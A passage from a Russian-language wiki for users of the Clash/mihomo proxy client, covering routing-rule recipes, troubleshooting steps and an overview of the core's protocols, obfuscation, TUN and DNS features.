`Direct` и проверьте, есть ли интернет без туннеля. Если нет — проблема не в клиенте. - **Работает в `Global`, но не в `Rule`** — виноваты правила маршрутизации. - **Один узел не подключается, остальные работают** — скорее всего, устаревшее ядро не знает протокол этого узла, либо сервер сменил параметры. - **Всё работало и вдруг перестало** — сначала обновите подписку, потом проверьте, не сменился ли режим и не запустился ли параллельно другой VPN. ## 📚 См. также - [[Clash/00-overview|Обзор раздела Clash]] — оглавление и порядок чтения. - [[Clash/01-clash-core|Ядро Clash]] — что происходит под капотом: конфиг, группы, правила, DNS. - [[Clash/04-rules|Правила маршрутизации: рецепты]] — как заставить конкретное приложение или сайт ходить нужным путём. - [[Clash/05-troubleshooting|Типичные проблемы]] — диагностика, когда что-то пошло не так. - [[Clash/07-clients|Клиенты на ядре Clash/mihomo]] — какую оболочку выбрать. - [[Clash/09-glossary|Словарь терминов]] — если по дороге встретились незнакомые слова. - [[subscriptions/hwid-client-lock|HWID-привязка и запрет «чужих» клиентов]] — почему подписка может не добавляться в выбранное вами приложение. - [[premium/zapret-vpn-bot|Zapret VPN-бот]] — как выглядит выдача ключа без привязки к устройству: строка `vless://…`, которую можно вставить в любой клиент. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Clash/03-first-run.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - clash - mihomo - маршрутизация - правила - новичкам aliases: - Правила Clash - Маршрутизация mihomo - rules Clash - Рецепты правил --- # 🧭 Правила маршрутизации: рецепты и отладка > [!info] О чём заметка > Практическая часть про блок `rules` в конфиге [[Clash/02-mihomo|mihomo]]: как читаются правила, как заставить конкретный сайт, приложение или устройство ходить нужным путём, откуда брать готовые списки и как понять, какое правило сработало. Устройство конфига целиком — в [[Clash/01-clash-core|Ядре Clash]], полный перечень типов правил в современном ядре — в [[Clash/06-features-protocols|возможностях mihomo]]. ## TL;DR - Правила читаются **сверху вниз до первого совпадения**, поэтому порядок важнее содержания: частное — выше, общее — ниже, `MATCH` — всегда последним. - Формат строки: `ТИП,ЗНАЧЕНИЕ,ЦЕЛЬ`. Цель — это `DIRECT` (напрямую), `REJECT` (оборвать) или имя группы из `proxy-groups`. - Ссылайтесь в правилах **на группы, а не на конкретные узлы** — иначе при смене серверов придётся переписывать весь список. - Для больших списков (реклама, категории сайтов) используйте **готовые наборы правил** через `rule-providers`, а не тысячу строк в конфиге. - Самый быстрый способ понять, что происходит, — вкладка **соединений** в клиенте: там видно, какое правило сработало для каждого соединения. - Типовая ошибка новичка — правило `GEOIP` выше доменных: оно требует разрешения имени в адрес и перехватывает больше, чем задумано. ## Как читается список правил Каждая строка — это условие и действие. Ядро берёт новое соединение и идёт по списку сверху вниз: первое подошедшее правило определяет судьбу соединения, остальные не проверяются. ```yaml rules: - DOMAIN-SUFFIX,gosuslugi.ru,DIRECT - DOMAIN-KEYWORD,youtube,PROXY - DOMAIN-SUFFIX,doubleclick.net,REJECT - GEOIP,RU,DIRECT - MATCH,PROXY ``` Читается это так: всё на домене `gosuslugi.ru` — напрямую; всё, где в имени встречается `youtube`, — через группу `PROXY`; рекламный домен — оборвать; всё, что ведёт на российские адреса, — напрямую; всё остальное — через `PROXY`. **Три специальные цели** нужно запомнить сразу: `DIRECT` — соединение идёт мимо туннеля, `REJECT` — обрывается (так блокируют рекламу и трекеры), имя группы — уходит в туннель через выбранный в этой группе узел. Проще говоря: список правил — это анкета, которую ядро заполняет за вас на каждое соединение, а `MATCH` в конце — ответ «во всех остальных случаях». ## Основные типы правил | Тип | По чему сравнивает | Пример | |---|---|---| | `DOMAIN` | Точное имя хоста | `DOMAIN,example.com,PROXY` | | `DOMAIN-SUFFIX` | Домен и все поддомены | `DOMAIN-SUFFIX,ya.ru,DIRECT` | | `DOMAIN-KEYWORD` | Подстрока в имени | `DOMAIN-KEYWORD,google,PROXY` | | `IP-CIDR` / `IP-CIDR6` | Подсеть назначения | `IP-CIDR,10.0.0.0/8,DIRECT,no-resolve` | | `GEOIP` | Страна адреса назначения | `GEOIP,RU,DIRECT` | | `SRC-IP-CIDR` | Адрес источника (кто в вашей сети) | `SRC-IP-CIDR,192.168.1.50/32,PROXY` | | `DST-PORT` | Порт назначения | `DST-PORT,25,REJECT` | | `PROCESS-NAME` | Имя приложения | `PROCESS-NAME,Telegram.exe,PROXY` | | `RULE-SET` | Готовый набор правил из провайдера | `RULE-SET,ads,REJECT` | | `MATCH` | Всё остальное | `MATCH,PROXY` | В [[Clash/02-mihomo|mihomo]] к этому добавлены `GEOSITE` (категории доменов), `IP-ASN` (по номеру автономной системы), `DOMAIN-REGEX`, логические `AND`/`OR`/`NOT` и правила по типу входящего соединения — их перечень с пояснениями собран в [[Clash/06-features-protocols|возможностях ядра]]. > [!note] Что делает `no-resolve` > Правила по IP-адресу требуют знать адрес, а в начале соединения ядро часто видит только домен. Без флага `no-resolve` оно сходит в DNS, чтобы проверить правило, — и это и задержка, и лишний запрос наружу. Флаг говорит: «если адреса ещё нет, просто пропусти это правило». Ставьте его на все `IP-CIDR` и `GEOIP`, которые стоят выше доменных правил. ## Рецепты Ниже — готовые фрагменты под частые задачи. Вставляются в блок `rules` вашего конфига; если конфиг приходит из подписки, ищите в клиенте раздел вроде «переопределения», «override» или «слияние профиля» — он позволяет дописать свои правила поверх присланных, не теряя их при обновлении. **Российские сайты напрямую, остальное через туннель.** Базовая раскладка, с которой начинают почти все. ```yaml rules: - DOMAIN-SUFFIX,ru,DIRECT - DOMAIN-SUFFIX,su,DIRECT - DOMAIN-SUFFIX,рф,DIRECT - GEOIP,RU,DIRECT,no-resolve - MATCH,PROXY ``` **Локальная сеть и роутер — всегда напрямую.** Иначе домашние устройства и веб-интерфейс роутера уедут в туннель и перестанут открываться. ```yaml - IP-CIDR,192.168.0.0/16,DIRECT,no-resolve - IP-CIDR,10.0.0.0/8,DIRECT,no-resolve - IP-CIDR,172.16.0.0/12,DIRECT,no-resolve - IP-CIDR,127.0.0.0/8,DIRECT,no-resolve ``` **Реклама и трекеры — в обрыв.** Точечно это делается доменами, но по-настоящему удобно — набором правил (см. следующий раздел). ```yaml - DOMAIN-SUFFIX,doubleclick.net,REJECT - DOMAIN-KEYWORD,adservice,REJECT ``` **Конкретное приложение через туннель.** Работает на десктопе, где ядро видит имя процесса. ```yaml - PROCESS-NAME,Telegram.exe,PROXY - PROCESS-NAME,discord.exe,PROXY ``` **Одно устройство в доме через туннель, остальные напрямую.** Пригодится, когда mihomo стоит шлюзом для всей квартиры. ```yaml - SRC-IP-CIDR,192.168.1.50/32,PROXY - MATCH,DIRECT ``` **Торренты мимо туннеля.** Многие продавцы не разрешают P2P, да и скорость через прокси обычно хуже. ```yaml - PROCESS-NAME,qbittorrent.exe,DIRECT ``` **Разные страны для разных сервисов.** Если в подписке есть группы по регионам, правило может указывать на конкретную группу. ```yaml - DOMAIN-SUFFIX,netflix.com,Streaming-NL - DOMAIN-SUFFIX,openai.com,US-Nodes ``` > [!tip] Ссылайтесь на группы, а не на узлы > Правило `DOMAIN-SUFFIX,openai.com,US-Nodes` переживёт смену серверов: сменились узлы в подписке — группа наполнилась новыми, правило работает. Правило, указывающее на конкретный узел «США-3», сломается в тот день, когда продавец переименует сервер. ## Готовые наборы правил Списки рекламных доменов, категорий сайтов и подсетей исчисляются десятками тысяч строк — держать их в конфиге бессмысленно. Для этого есть **`rule-providers`**: набор загружается по URL, обновляется по расписанию и подключается одной строкой. ```yaml rule-providers: ads: type: http behavior: domain url: "https://example.com/ads.yaml" path: ./ruleset/ads.yaml interval: 86400 rules: - RULE-SET,ads,REJECT - MATCH,PROXY ``` Ключевые поля: **`behavior`** — какого вида список (`domain` — только домены, `ipcidr` — подсети, `classical` — полноценные правила любых типов), **`interval`** — как часто обновлять (в секундах), **`path`** — где хранить локальную копию. Формат файла задаётся полем `format`: `yaml`, `text` или **`mrs`** — компактный бинарный формат mihomo, который экономит память на больших списках. Готовые наборы и геоданные команда MetaCubeX публикует в репозитории **meta-rules-dat** (подробнее — в [[Clash/06-features-protocols|возможностях ядра]]). > [!warning] Чужой набор правил — это доверие > Подключая список по чужому URL, вы отдаёте его автору право решать, какие домены у вас блокируются, а какие идут напрямую. Испорченный или враждебно изменённый набор может, например, направить банковский домен в туннель или заблокировать нужный сервис. Берите наборы из репозиториев с историей и не подключайте десяток списков «на всякий случай». ## Как понять, какое правило сработало Здесь начинается отладка, и она проще, чем кажется. **Вкладка соединений.** В любом клиенте на ядре mihomo есть список активных соединений (в веб-дашбордах — Connections). Для каждого показано: хост назначения, сработавшее правило, выбранный узел, объём трафика. Открыли проблемный сайт — увидели, какое правило его перехватило. Это отвечает на 90 % вопросов «почему оно идёт не туда». **Логи.** Уровень `info` показывает основные события, `debug` — подробности разрешения имён и выбора маршрута. Держать `debug` постоянно не стоит: он шумный и пишет в файл историю ваших соединений. **Приём «сравни с Global».** Если в режиме `Global` сайт открывается, а в `Rule` нет — виноваты правила, и надо смотреть, какое из них перехватывает соединение. Если не открывается и в `Global` — дело не в правилах, а в узле, протоколе или блокировке (см. [[Clash/05-troubleshooting|диагностику проблем]]). ## Частые ошибки **`GEOIP` слишком высоко.** Правило по стране требует адреса, поэтому оно тянет за собой разрешение имени и перехватывает соединения раньше доменных правил. Держите его ниже доменных и с флагом `no-resolve`. **Забытый `MATCH`.** Без завершающего правила поведение для «всего остального» определяется настройкой `final`, и она может оказаться не той, что вы ожидаете. Проще явно поставить `MATCH` последней строкой. **Правила выше, чем локальная сеть.** Если `MATCH,PROXY` стоит раньше исключений для `192.168.0.0/16`, веб-интерфейс роутера и сетевые принтеры уедут в туннель. **Дубли и противоречия.** Два правила на один домен с разными целями — не ошибка синтаксиса: просто сработает верхнее. Если поведение непонятно, ищите первое совпадение сверху, а не последнее. **Правки поверх подписки затираются.** Если конфиг приходит из подписки, ваши правки при обновлении исчезнут — используйте механизм переопределений в клиенте, а не редактирование скачанного файла. ## 📚 См. также - [[Clash/03-first-run|Первый запуск]] — если клиент ещё не настроен. - [[Clash/01-clash-core|Ядро Clash]] — как правила связаны с группами, DNS и режимом fake-ip. - [[Clash/06-features-protocols|Возможности и протоколы mihomo]] — расширенные типы правил, `GEOSITE`, `IP-ASN`, логические условия и формат `.mrs`. - [[Clash/05-troubleshooting|Типичные проблемы]] — что делать, когда правило вроде верное, а результат не тот. - [[xray/routing|Маршрутизация в Xray]] — как та же задача решается в соседней экосистеме. - [[Clash/09-glossary|Словарь терминов]] — расшифровка встреченных понятий. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Clash/04-rules.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - clash - mihomo - диагностика - новичкам aliases: - Проблемы Clash - Clash не работает - Диагностика mihomo - mihomo troubleshooting --- # 🩺 Типичные проблемы и как их диагностировать > [!info] О чём заметка > Разбор частых поломок в клиентах на ядре [[Clash/02-mihomo|mihomo]] — от «вообще нет интернета» до «работает всё, кроме одной игры» — и метод, по которому их находят. Настройка с нуля — в [[Clash/03-first-run|первом запуске]], правила маршрутизации — в [[Clash/04-rules|рецептах правил]]. ## TL;DR - Диагностика строится на **сужении зоны поиска**: сначала выясняем, есть ли интернет без туннеля, потом — работает ли туннель вообще (режим `Global`), потом — виноваты ли правила. - Главный инструмент — **список соединений** в клиенте: он показывает, какое правило сработало и в какой узел ушло соединение. - «Ключ рабочий, но узел не подключается» чаще всего означает **устаревшее ядро** или рассинхрон параметров с сервером, а не блокировку. - «Подписка не добавляется, 404» — вероятная причина не на вашей стороне: [[subscriptions/hwid-client-lock|привязка подписки к конкретному клиенту]]. - «Браузер работает, приложение — нет» — либо приложение игнорирует системный прокси (нужен TUN), либо оно упирается в подставные адреса режима fake-ip. - «Всё тормозит» и «постоянно рвётся» — разные болезни: первая обычно про узел и мультиплекс, вторая — про группу `url-test`, которая дёргает вас между серверами. ## Метод: сужать зону поиска Прежде чем менять настройки наугад, ответьте на три вопроса по очереди. Каждый отсекает половину вариантов. **1. Есть ли интернет без туннеля?** Переключите режим в `Direct` (или выключите клиент). Если сайты не открываются и так — проблема не в клиенте: смотрите сеть, провайдера, DNS системы. **2. Работает ли туннель вообще?** Переключитесь в `Global` и выберите узел вручную. Открывается — значит, узел и протокол в порядке, а виноваты правила. Не открывается — проблема в самом узле, ядре или блокировке. **3. Что показывает список соединений?** Откройте вкладку соединений (Connections) и повторите проблемное действие. Вы увидите, куда пошло соединение, какое правило сработало и живо ли оно вообще. Если соединения нет в списке — трафик вообще не дошёл до ядра, и дело в способе перехвата (системный прокси против TUN). Проще говоря: не чините всё сразу. Три проверки выше почти всегда указывают на конкретный слой — сеть, узел, правила или перехват. ## Подписка не добавляется или не обновляется **Ошибка 404 или «подписка не найдена» при верной ссылке.** Первое, что стоит исключить, — привязку к клиенту: некоторые панели отдают конфигурацию только приложениям, отправляющим специальные заголовки с идентификатором устройства. В другом клиенте та же ссылка работает, а у вас — нет. Механика и способ проверки (открыть ссылку в браузере или через `curl`) разобраны в [[subscriptions/hwid-client-lock|заметке про HWID-привязку]]. **Таймаут или ошибка сети.** Сам адрес подписки может быть заблокирован вашим провайдером. Проверьте, открывается ли ссылка в браузере; если нет — попросите у продавца зеркало или загрузите конфиг с другого соединения. **«Неизвестный тип прокси» / `unsupported proxy type`.** Ядро внутри клиента не знает протокол, который встретился в подписке. Лечится обновлением **ядра**, а не приложения (см. [[Clash/07-clients|обзор клиентов]]): свежий интерфейс с прошлогодним ядром — обычная ситуация. **Правки в конфиге исчезают.** Если вы редактируете скачанный из подписки файл, при обновлении он перезаписывается. Свои правила добавляйте через механизм переопределений в клиенте — подробнее в [[Clash/04-rules|правилах маршрутизации]]. ## Узел не подключается **Один узел мёртв, остальные работают.** Обычно это сервер: он перегружен, выключен или его адрес заблокирован. Проверьте задержку в группе — если узел не отвечает на проверку, дело в нём. **Все узлы одного продавца перестали работать разом.** Скорее всего, сменились параметры на стороне сервера или адреса попали под блокировку. Первое действие — обновить подписку: продавцы ротируют серверы именно на такой случай. **Узел с новым протоколом не подключается, старые работают.** Классический рассинхрон версий: администратор включил на сервере то, чего ваша сборка ядра ещё не умеет — новый режим шифрования, свежую обфускацию, другой транспорт. Разбор ситуации на примере постквантового шифрования VLESS — в [[Clash/08-vs-sing-box|сравнении ядер]]. Лечение одно: обновить ядро. **В логе — ошибки рукопожатия или расшифровки.** Тот же случай: параметры клиента и сервера разошлись. Сверьте протокол, транспорт (WebSocket, gRPC, XHTTP) и параметры маскировки с тем, что выдал продавец. > [!note] Проверьте часы > Протоколы с привязкой ко времени (в первую очередь [[protocols/vmess|VMess]]) не устанавливают соединение, если часы устройства разошлись с сервером больше чем на пару минут. Симптом выглядит как «ключ верный, но не подключается» и лечится синхронизацией времени. ## Работает браузер, не работает приложение **Причина первая: приложение не уважает системный прокси.** Часть игр, мессенджеров и системных служб ходит в сеть напрямую, минуя настройки прокси. Решение — включить **TUN-режим**, который заворачивает весь трафик системы (см. [[Clash/03-first-run|первый запуск]]). **Причина вторая: подставные адреса fake-ip.** Ядро отвечает на DNS-запросы адресами из служебного диапазона `198.18.0.0/16` и подменяет их обратно при подключении. Приложения, которые сами резолвят домен и потом проверяют полученный адрес, от этого ломаются: сеть вроде есть, а подключения нет. Лечится добавлением проблемного домена в список исключений `fake-ip-filter` — механика режима разобрана в [[Clash/01-clash-core|Ядре Clash]]. **Причина третья: правило перехватило соединение.** Посмотрите в списке соединений, какое правило сработало для домена приложения. Частый случай — слишком широкое `DOMAIN-KEYWORD` или `GEOIP`, стоящее выше нужного правила. ## Не открываются локальные ресурсы Роутер по адресу `192.168.1.1`, сетевой принтер, домашний NAS перестали отвечать после включения туннеля — значит, их трафик уехал в прокси. Нужны правила-исключения для локальных подсетей, стоящие **выше** остальных (готовый фрагмент — в [[Clash/04-rules|рецептах правил]]). Отдельная разновидность — корпоративные ресурсы, доступные только через рабочий VPN. Два туннеля на одном устройстве конфликтуют почти всегда: либо разводите их правилами, либо включайте по очереди. ## DNS: утечки и подмена **Признак утечки:** тест на [dnsleaktest.com](https://dnsleaktest.com) показывает серверы вашего домашнего провайдера. Это значит, что имена сайтов разрешаются мимо туннеля, и провайдер видит список ваших доменов, даже не видя содержимого трафика. Что проверить: включена ли DNS-подсистема ядра (`dns.enable`), заданы ли шифрованные апстримы (DoH/DoT/DoQ), не прописан ли в системе или в браузере отдельный DNS в обход клиента. Устройство DNS-подсистемы mihomo с политиками по доменам — в [[Clash/06-features-protocols|возможностях ядра]]. **Обратная ситуация — сайты не открываются, потому что DNS отвечает мусором.** Часть провайдеров подменяет ответы для заблокированных доменов; тогда помогает разрешение имён через туннель или шифрованный резолвер. Пример того, как это выглядит на практике, — в [[DPI/google-dns-8888-block-july-2026|разборе блокировки публичных DNS]]. ## Медленно, рвётся, скачет **Медленно вообще.** Проверьте задержку узлов в группе и попробуйте другой узел или другую страну. Если разница огромная — дело в маршруте до сервера, а не в клиенте. Отдельно проверьте, не включён ли мультиплекс: он ускоряет открытие страниц, но на части каналов даёт обратный эффект. **Соединения рвутся каждые несколько минут.** Частая причина — группа `url-test`: она периодически перевыбирает «самый быстрый» узел и на переключении рвёт активные сессии. Для стриминга и загрузок удобнее `fallback`, который держится за один узел до отказа (разница разобрана в [[Clash/01-clash-core|Ядре Clash]]). **Работает волнами: полчаса нормально, потом полчаса нет.** Это уже похоже не на настройку, а на реакцию сети: DPI может распознавать схему и ограничивать её. Проверьте, повторяется ли поведение на другом протоколе и другом транспорте — если да, читайте [[VLESS/dpi-tls-june-2026|разбор DPI-почерка TLS]] и рассматривайте запасной канал на другом протоколе. ## TUN не включается или ломает сеть **Не запускается совсем.** TUN требует повышенных прав: на Windows — установки службы, на Linux — прав администратора или соответствующих capabilities. Клиент обычно предлагает это сделать при первом включении; если отказали — включите заново и подтвердите запрос. **Конфликт с другим VPN или антивирусом.** Два виртуальных адаптера, перехватывающих весь трафик, уживаются плохо. Отключите второй туннель и проверьте. **Сеть отвалилась после закрытия клиента.** Бывает, когда процесс завершился аварийно и не убрал за собой маршруты или системный прокси. Лечение: запустить клиент снова и корректно выключить туннель, а при системном прокси — проверить настройки прокси в системе вручную. > [!tip] Меняйте по одной настройке > Диагностика ломается, когда правится всё сразу: включили TUN, сменили DNS, добавили набор правил — и непонятно, что помогло, а что сломало. Одна правка — одна проверка. Этот же принцип экономит время при разговоре с поддержкой: вы можете точно сказать, после чего началось. ## 📚 См. также - [[Clash/03-first-run|Первый запуск]] — базовая настройка и проверка, что всё работает. - [[Clash/04-rules|Правила маршрутизации: рецепты]] — исправление большинства проблем «идёт не туда». - [[Clash/01-clash-core|Ядро Clash]] — как устроены DNS, fake-ip и группы, из-за которых возникают описанные симптомы. - [[Clash/07-clients|Клиенты на ядре Clash/mihomo]] — как обновить ядро отдельно от приложения. - [[subscriptions/hwid-client-lock|HWID-привязка и запрет «чужих» клиентов]] — если подписка не добавляется в выбранный клиент. - [[Clash/09-glossary|Словарь терминов]] — расшифровка понятий из логов и настроек. --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Clash/05-troubleshooting.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-25 tags: - clash - mihomo - протоколы - маршрутизация - dns - tun aliases: - Возможности mihomo - Протоколы mihomo - Что умеет mihomo - mihomo features link: https://wiki.metacubex.one/ --- # 🚀 Возможности и протоколы mihomo: что ядро умеет в 2026 году > [!info] О чём заметка > Разбор актуальных возможностей ядра **mihomo** (бывший Clash.Meta) — какие протоколы оно поддерживает как клиент и как сервер, чем маскирует трафик, как устроены TUN, DNS-подсистема, сниффер и наборы правил. Что такое mihomo и откуда он взялся — в заметке [[Clash/02-mihomo|mihomo (Clash.Meta)]]; базовое устройство конфига Clash (порты, группы, правила, fake-ip) разобрано в [[Clash/01-clash-core|Ядре Clash]] и здесь не повторяется. > [!warning] Списки функций устаревают быстрее заметок > Ядро mihomo выпускает релизы с новыми протоколами раз в несколько недель, поэтому перечни ниже — срез на **25 июля 2026** (стабильная версия v1.19.29 от 18 июля 2026 и релизные заметки предшествующих версий). Перед настройкой сверяйтесь с [официальной документацией](https://wiki.metacubex.one/) и списком релизов: часть функций живёт только в ветке Alpha, часть требует свежей версии, а имена полей иногда меняются. ## TL;DR - Как **клиент** mihomo умеет практически весь современный набор: Shadowsocks/SSR, VMess, [[xray/vless|VLESS]] (с [[xray/reality|REALITY]] и XTLS Vision), Trojan, [[Hysteria/00-overview|Hysteria и Hysteria2]], TUIC, WireGuard, ShadowTLS, Snell, SSH, AnyTLS, а в свежих версиях — ещё Tailscale, OpenVPN и реле GOST. - Как **сервер** он поднимает `listeners` по большинству тех же протоколов — то есть работает входной точкой для других устройств, а не только исходящим клиентом. - Маскировка: uTLS-отпечатки браузеров (`client-fingerprint`), REALITY, ShadowTLS, обфускации `restls` и `jls`, мультиплексирование через smux/h2mux, транспорты WebSocket, gRPC, HTTP/2 и XHTTP. - Перехват трафика: TUN с тремя сетевыми стеками (`system`, `gvisor`, `mixed`), redir/TPROXY на Linux, авто-настройка маршрутов и правил. - Правила стали заметно мощнее оригинала: логические `AND`/`OR`/`NOT`, `GEOSITE`, `IP-ASN`, `DOMAIN-REGEX`, подправила `sub-rules`, наборы правил в компактном бинарном формате `.mrs`. - **Сниффер** восстанавливает домен из TLS SNI, HTTP Host и QUIC — благодаря ему доменные правила работают даже когда приложение подключается по «голому» IP. ## Протоколы: исходящие подключения Полезно сразу разделить два слоя, которые в подписках часто перемешаны в одну строку. **Протокол** отвечает за то, как устроены сами данные внутри соединения (VLESS, Trojan, Shadowsocks). **Транспорт и маскировка** — за то, во что это соединение завёрнуто снаружи (TLS, WebSocket, gRPC, REALITY, обфускаторы). Одна и та же связка «протокол + транспорт» должна совпадать у клиента и сервера, иначе соединение не установится вовсе. | Протокол | Особенности реализации в mihomo | |---|---| | [[protocols/shadowsocks\|Shadowsocks]] / SSR | Классика экосистемы; современные AEAD-шифры и методы редакции 2022, плагины обфускации, в свежих версиях — обфускация `jls` | | [[protocols/vmess\|VMess]] | Наследие v2ray; поддерживает транспорты WS/gRPC/HTTP2 и мультиплекс, в релизах 2026 добавлены `mkcp` и `tlsmirror` | | **VLESS** | Основной протокол современных подписок: работает с [[xray/reality|REALITY]], XTLS Vision и [[xray/xhttp|XHTTP]] (включая настройки переиспользования xmux) | | [[protocols/trojan\|Trojan]] | Маскировка под обычный HTTPS; сочетается с WS/gRPC и обфускациями | | **Hysteria / Hysteria2** | QUIC поверх UDP, устойчивость к потерям, обфускация и port hopping — сам протокол разобран в [[Hysteria/00-overview|обзоре Hysteria 2]] | | [[protocols/tuic\|TUIC]] (v4/v5) | Ещё один QUIC-протокол с быстрым установлением UDP-сессий и режимами релея `native`/`quic` | | WireGuard | Полноценный WG-клиент прямо в ядре — можно использовать как обычный outbound наравне с прокси | | [[protocols/shadowtls\|ShadowTLS]] | Обёртка, прячущая произвольный протокол за настоящим TLS-рукопожатием с чужим доменом (учитывайте известные с 2025 года проблемы обнаружения v3) | | Snell | Протокол из клиента Surge; в mihomo версии до v4, в свежих релизах — с поддержкой shadow-tls | | SSH | Туннель через обычный SSH-сервер | | [[protocols/anytls\|AnyTLS]] | Протокол 2025 года с акцентом на борьбу с детектом «TLS внутри TLS»; в mihomo поддерживается и как outbound, и как listener | | Tailscale, OpenVPN, GOST | Добавлены в релизах середины 2026: подключение к сети Tailscale, клиент OpenVPN (включая `tls-crypt-v2`), реле в формате GOST | Чего в mihomo нет — тоже стоит знать заранее: [[protocols/naiveproxy|NaiveProxy]] здесь не реализован, и подписку с ним придётся открывать другим ядром (см. [[Clash/08-vs-sing-box|сравнение ядер]]). Проще говоря: mihomo перестал быть «клиентом Clash с парой протоколов» и превратился в универсальный комбайн — по широте набора он сопоставим с [[sing-box/sing-box-extended|sing-box]] и [[xray/project-x|Xray-core]], а по некоторым экзотическим позициям (OpenVPN, Tailscale, GOST в одном бинарнике) местами их обгоняет. ## Протоколы: входящие подключения (listeners) Раздел `listeners` в конфиге — это серверная сторона. mihomo может слушать порт и принимать подключения по HTTP, SOCKS, смешанному порту, Shadowsocks, VMess, VLESS, Trojan, TUIC, Hysteria2, AnyTLS, WireGuard, а также в режимах прозрачного перехвата (`redir`, `tproxy`, `tun`). Практический сценарий: mihomo стоит на домашнем роутере или на мини-ПК, принимает трафик всех устройств в квартире как обычный прокси-сервер и уводит его наружу через ваши узлы по общим правилам. Телефонам и телевизорам при этом не нужен собственный клиент — им достаточно указать шлюз. Второй сценарий — цепочка: mihomo на VPS принимает подключения по VLESS и передаёт их дальше, в другой выходной узел. > [!note] Сервер на mihomo — это не то же самое, что панель управления > Ядро умеет принимать соединения, но не занимается учётом пользователей, лимитами и биллингом. Если нужен многопользовательский сервер с выдачей подписок, для этого существуют панели поверх Xray (3x-ui, Marzban — упомянуты в [[xray/project-x|обзоре Project X]]) или управляющая подсистема форка [[sing-box/architecture|sing-box-extended]]. mihomo в роли сервера — это скорее шлюз для своих устройств, чем сервис для клиентов. ## Маскировка и транспорты Задача маскировки — сделать так, чтобы DPI не отличал прокси-соединение от обычного веб-трафика. mihomo даёт несколько независимых слоёв, которые комбинируются. **uTLS-отпечатки.** Глобальный параметр `client-fingerprint` (значения вида `chrome`, `firefox`, `safari`, `ios`, `random`) заставляет ядро повторять TLS-рукопожатие популярного браузера. Без этого у Go-программы получается собственный, легко узнаваемый почерк — по нему прокси-клиент вычисляется без всякой расшифровки трафика. Механика самого детекта по отпечатку рукопожатия разобрана в [[DPI/browser-ja4-fingerprint-block|заметке о JA4-отпечатках браузера]]. **REALITY.** Прикрытие настоящим чужим сайтом: клиент выполняет рукопожатие так, что стороннему наблюдателю оно неотличимо от обращения к реальному домену. Устройство протокола — в [[xray/reality|отдельной заметке про REALITY]]; со стороны mihomo это несколько полей в описании узла (`public-key`, `short-id`). **ShadowTLS, restls, jls.** Три разных подхода к «спрятать протокол за TLS». ShadowTLS проксирует настоящее рукопожатие к чужому серверу и подменяет только полезную нагрузку. `restls` (в релизах 2026 добавлен для AnyTLS, VMess, VLESS и Trojan) и `jls` (для Shadowsocks) — обфускации, устойчивые к активному зондированию: наблюдатель, попытавшийся подключиться к вашему серверу «на пробу», получает поведение обычного сайта. **Транспорты.** WebSocket, gRPC, HTTP/2, XHTTP и mKCP — способ упаковать протокол в привычный веб-трафик, чтобы он проходил через CDN и обратные прокси. Подробно про самый новый из них — в заметке [[xray/xhttp|XHTTP]]. **Мультиплексирование** (smux, h2mux, yamux) пропускает несколько логических соединений через одно физическое. Это уменьшает число TCP-рукопожатий и ускоряет открытие страниц, но у приёма есть цена: сотни запросов в одном длинном соединении — сами по себе статистически заметный паттерн, и на части сетей мультиплекс ухудшает выживаемость канала, а не улучшает её. ## Перехват трафика: TUN и прозрачные режимы **TUN-режим** создаёт виртуальный сетевой интерфейс, на который система направляет весь трафик, — так mihomo работает как настоящий VPN, включая приложения, которые не умеют ходить через прокси. Раньше это была премиальная функция закрытого Clash Premium; в mihomo она открыта и штатна. Ядро предлагает три сетевых стека, и выбор между ними — практическое решение, а не украшение: - **`system`** — использовать стек операционной системы. Обычно быстрее и экономнее по CPU, но сильнее зависит от особенностей платформы. - **`gvisor`** — пользовательский стек (userspace TCP/IP из проекта gVisor). Работает предсказуемо везде, полезен там, где системный стек конфликтует с другими VPN или с правилами файрвола; платит за это нагрузкой на процессор. - **`mixed`** — TCP через системный стек, UDP через gVisor: компромисс, часто выручающий, когда UDP через `system` ведёт себя странно. Дополнительно TUN умеет сам прописывать маршруты и правила (`auto-route`, `auto-detect-interface`) и настраивать разрешение имён так, чтобы DNS-запросы не утекали мимо туннеля. На Linux остаются и «классические» варианты: `redir-port` и `tproxy-port` с перехватом через iptables/nftables — типовой способ поставить mihomo шлюзом для всей сети (тот же подход в мире Hysteria описан в [[Hysteria/tproxy|заметке про TPROXY]]). ## Сниффер: как ядро узнаёт домен Проблема, ради которой сниффер существует, звучит так: при прозрачном перехвате приложение может подключиться сразу по IP-адресу — например, потому что резолвило домен само или получило адрес из своего кэша. Ядро видит только адрес, а правила написаны по доменам, и соединение уходит не туда, куда задумано. **Сниффер** вскрывает начало соединения и достаёт имя хоста оттуда: из поля SNI в TLS-рукопожатии, из заголовка `Host` в открытом HTTP, из QUIC-рукопожатия. После этого соединение переоценивается правилами уже с известным доменом. Проще говоря: сниффер — это способ применить доменные правила к трафику, который пришёл «безымянным». Он же чинит частый сценарий с fake-ip, когда приложение обошло подставной DNS-ответ. Обратная сторона — ядро разбирает начало каждого соединения, поэтому сниффер обычно ограничивают списком портов (443, 80) вместо «всего подряд». ## Правила: что добавилось сверх оригинала Базовые типы правил (`DOMAIN`, `DOMAIN-SUFFIX`, `IP-CIDR`, `GEOIP`, `PROCESS-NAME`, `MATCH`) описаны в [[Clash/01-clash-core|заметке про ядро Clash]]. mihomo добавил к ним ощутимо больше выразительности: - **`GEOSITE`** — правила по категориям доменов (реклама, стриминг, категория «китайские сайты» и т. п.) из готовых баз, а не по одному имени. - 